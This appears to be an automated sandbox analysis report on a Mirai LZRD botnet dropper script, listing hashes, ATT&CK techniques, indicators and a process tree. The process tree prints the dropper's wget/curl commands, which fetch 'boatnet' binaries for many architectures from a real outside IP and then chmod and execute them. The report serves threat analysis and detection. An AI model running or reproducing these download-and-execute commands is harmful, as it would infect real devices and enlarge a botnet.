mirai | 288bf21e07a5cc2a9f12c856ed829b9266878621c823542150ee74e961cc5d71

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
23-12-2024 05:05

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General

Target

ohshit.sh
Size

3KB
MD5

e0ccd217979419469e913cbef10872f3
SHA1

6bbef022dcf450af81bee90522e4c82069c84064
SHA256

288bf21e07a5cc2a9f12c856ed829b9266878621c823542150ee74e961cc5d71
SHA512

38402719e384396071ab1f779eb0d67a55570ecfb04018e47cafdfd73ce04984e15c0d2942b446cee5652a449e22a8690812dbe5fd232736cb8a3939531255ce

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1510	chmod
1518	chmod
1648	chmod
1656	chmod
1672	chmod
1680	chmod
1502	chmod
1534	chmod
1664	chmod
1544	chmod
1556	chmod
1566	chmod
1494	chmod
1526	chmod
1578	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	1495	WTF
/tmp/WTF	1503	WTF
/tmp/WTF	1511	WTF
/tmp/WTF	1519	WTF
/tmp/WTF	1527	WTF
/tmp/WTF	1535	WTF
/tmp/WTF	1545	WTF
/tmp/WTF	1557	WTF
/tmp/WTF	1567	WTF
/tmp/WTF	1579	WTF
/tmp/WTF	1649	WTF
/tmp/WTF	1657	WTF
/tmp/WTF	1665	WTF
/tmp/WTF	1673	WTF
/tmp/WTF	1681	WTF

Modifies Watchdog functionality 1 TTPs 30 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 30 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1225/cmdline	WTF
File opened for reading	/proc/754/cmdline	WTF
File opened for reading	/proc/546/cmdline	WTF
File opened for reading	/proc/1140/cmdline	WTF
File opened for reading	/proc/1560/cmdline	WTF
File opened for reading	/proc/1636/cmdline	WTF
File opened for reading	/proc/1686/cmdline	WTF
File opened for reading	/proc/1717/cmdline	WTF
File opened for reading	/proc/1140/cmdline	WTF
File opened for reading	/proc/1137/cmdline	WTF
File opened for reading	/proc/1307/cmdline	WTF
File opened for reading	/proc/490/cmdline	WTF
File opened for reading	/proc/1123/cmdline	WTF
File opened for reading	/proc/1704/cmdline	WTF
File opened for reading	/proc/1699/cmdline	WTF
File opened for reading	/proc/1738/cmdline	WTF
File opened for reading	/proc/1217/cmdline	WTF
File opened for reading	/proc/980/cmdline	WTF
File opened for reading	/proc/1242/cmdline	WTF
File opened for reading	/proc/1146/cmdline	WTF
File opened for reading	/proc/1496/cmdline	WTF
File opened for reading	/proc/1689/cmdline	WTF
File opened for reading	/proc/1464/cmdline	WTF
File opened for reading	/proc/1528/cmdline	WTF
File opened for reading	/proc/1580/cmdline	WTF
File opened for reading	/proc/1737/cmdline	WTF
File opened for reading	/proc/1102/cmdline	WTF
File opened for reading	/proc/1174/cmdline	WTF
File opened for reading	/proc/1694/cmdline	WTF
File opened for reading	/proc/1704/cmdline	WTF
File opened for reading	/proc/1729/cmdline	WTF
File opened for reading	/proc/1734/cmdline	WTF
File opened for reading	/proc/1050/cmdline	WTF
File opened for reading	/proc/1058/cmdline	WTF
File opened for reading	/proc/1504/cmdline	WTF
File opened for reading	/proc/1598/cmdline	WTF
File opened for reading	/proc/1643/cmdline	WTF
File opened for reading	/proc/1731/cmdline	WTF
File opened for reading	/proc/1512/cmdline	WTF
File opened for reading	/proc/1489/cmdline	WTF
File opened for reading	/proc/1629/cmdline	WTF
File opened for reading	/proc/1064/cmdline	WTF
File opened for reading	/proc/1484/cmdline	WTF
File opened for reading	/proc/1701/cmdline	WTF
File opened for reading	/proc/1717/cmdline	WTF
File opened for reading	/proc/635/cmdline	WTF
File opened for reading	/proc/1184/cmdline	WTF
File opened for reading	/proc/1127/cmdline	WTF
File opened for reading	/proc/1242/cmdline	WTF
File opened for reading	/proc/1731/cmdline	WTF
File opened for reading	/proc/1366/cmdline	WTF
File opened for reading	/proc/1489/cmdline	WTF
File opened for reading	/proc/1639/cmdline	WTF
File opened for reading	/proc/1489/cmdline	WTF
File opened for reading	/proc/1709/cmdline	WTF
File opened for reading	/proc/1688/cmdline	WTF
File opened for reading	/proc/1165/cmdline	WTF
File opened for reading	/proc/1588/cmdline	WTF
File opened for reading	/proc/1711/cmdline	WTF
File opened for reading	/proc/1734/cmdline	WTF
File opened for reading	/proc/1731/cmdline	WTF
File opened for reading	/proc/1512/cmdline	WTF
File opened for reading	/proc/598/cmdline	WTF
File opened for reading	/proc/1590/cmdline	WTF

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1499	wget
1500	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.sh4	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:1486
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1487
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1492
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:1493
- /bin/chmod
  chmod +x boatnet.x86 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1494
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1495
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1499
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1500
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1502
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1503
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1507
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1508
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1510
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1511
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.i468
  2⤵
  PID:1515
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.i468
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1518
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1519
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.i686
  2⤵
  PID:1523
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.i686
  2⤵
  - Writes file to tmp directory
  PID:1524
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1526
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1527
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.x86_64
  2⤵
  PID:1531
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1532
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1534
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1535
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1539
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1540
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1544
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1545
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1549
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1554
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-VOEMpB systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1556
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1557
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1561
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1564
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1566
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1567
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1571
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1576
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-xTGJtC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1578
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1579
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1583
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1646
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1648
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1649
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1653
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1654
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1656
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1657
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1661
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1662
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1664
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1665
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1669
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1670
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1672
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1673
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1677
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1678
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1680
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1681

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/boatnet.x86

Filesize
20KB

MD5
cfdee595514f89c9e1ca4c3c26837bb6

SHA1
726f957189f0ce2da9008987aaa7f51453ede884

SHA256
4940c3107a34d4b65f81e5e5e7a54f31fce9417fe74d18dd6e6b104d07197a3d

SHA512
07cd565d04eeef92d3bf0613413d2c63bc045d6093bb048118b3f80254701c9aaef7dac444dc39ced7c2297754d7dbe1da4f808a6e2e87727f9272b436fea226

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